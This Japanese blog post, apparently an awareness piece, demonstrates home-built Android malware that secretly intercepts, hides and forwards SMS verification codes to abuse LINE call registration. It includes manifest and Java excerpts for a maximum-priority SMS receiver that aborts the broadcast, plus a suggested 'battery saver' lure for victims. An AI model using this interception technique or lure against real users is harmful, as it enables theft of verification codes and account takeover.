LINE(電話)とSMS認証の話

以前当ブログでは、LINE電話の問題をネタにしてエイプリルフール記事を書きました。
その際LINEをモデルとした『通話アプリL』にて認証SMSをマルウェア経由で盗まれるシナリオを書きました。

『通話アプリL』登録時に藤田口关さんのスマホで認証SMSを受け取り、不正アプリがそのSMS内容を犯人に転送&隠蔽して『通話アプリL』の登録を完了していた。
http://d.hatena.ne.jp/pochi-p/20140401#p1

上記は架空の悪用シナリオですが、実際にそんな事が可能かどうかピンと来ない人もいるでしょう。*1 という訳で…

SMS転送&隠蔽するマルウェアを作ってみたよ!

自分でマルウェアを作って動作確認してみました。
最初このブログに実際に動くプログラムをUpしようかと当初思ってましたが、不正指令電磁的記録の「配布」や、犯罪要件となる「作成」になる恐れがある*2為要点の解説と画面キャプチャだけ掲載する事にしました。


マルウェア作成のポイントはこれだけです。

  • SMS受信のブロードキャストを受けるReceiverを用意。priorityの指定を最高値に。
  • 特定条件下でSMSを隠蔽&転送。他アプリに対してSMSを隠蔽する際はBroadcastReceiver#abortBroadcast()を呼ぶだけ。
  • Receiverで受け取ったSMSを転送する処理するは別途Serviceで実装。(IntentServiceでもOK)
  • 別途コントロールするWEBアプリを用意。

部分的にソースを抜粋すると以下の様な感じです。
AndroidManifest.xmlの抜粋

<receiver android:name="SmsYokodoriReceiver">
    <intent-filter android:priority="2147483647">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>

SmsYokodoriReceiver.javaの抜粋

Bundle bundle = intent.getExtras();
Object messages[] = (Object[]) bundle.get("pdus");
// 略
Intent serviceIntent = new Intent(context.getApplicationContext(), SmsTensouService.class);
serviceIntent.putExtra("pdus", messages);
context.startService(serviceIntent);
abortBroadcast(); // ブロードキャストを破棄する。「アプリのみんなにはナイショだよ!」

上記のような記述が出来ればOKなので、作成難易度はEASYだと思います。(というかすでにそういうマルウェアって沢山出てます *3
WEBアプリ側もPHPでGET/POSTパラメーター取ってsqlite3読み書きしてhtmlかjsonの出力するだけです。


SMS転送&隠蔽するマルウェアを動かしてみるよ!

まずはマルウェアのインストールです。こちらは電話番号(=SMS宛先)を勝手に使われる被害者側のスマホに入れます。
内容は「電池長持ち!」とかの名前にして小さく注意書きに「個人の感想であり、効果には個人差があります」と書いておけば何人かは騙されるでしょう。*4

マルウェアの使用する権限です。
大手アプリベンダーのお陰でどんな権限も黙認してインストールさせるのが(分からない人にとっての)常識とされてしまってるので、これくらいの権限も気にならないでしょう

*1:約1ヶ月でLINE電話の仕様は変更されましたが、その間に実際にこれが悪用されたかどうかは分かりません。

*2: 参考 http://takagi-hiromitsu.jp/diary/20061022.html

*3: モバイルマルウェアを用い2要素認証のコードを盗む手口に注意 http://www.itmedia.co.jp/enterprise/articles/1404/18/news045.html http://securityblog.jp/news/20140428.html ユーザーを騙してSMSマルウェアをインストールさせるベトナム語のアダルトアプリ http://ascii.jp/elem/000/000/863/863130/ Android.FakeLookout テクニカルノート | シマンテック 日本 http://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2012-101919-2128-99&tabid=2

*4:だって公式キャリアやセキュリティ会社が(以下略)

続きを読む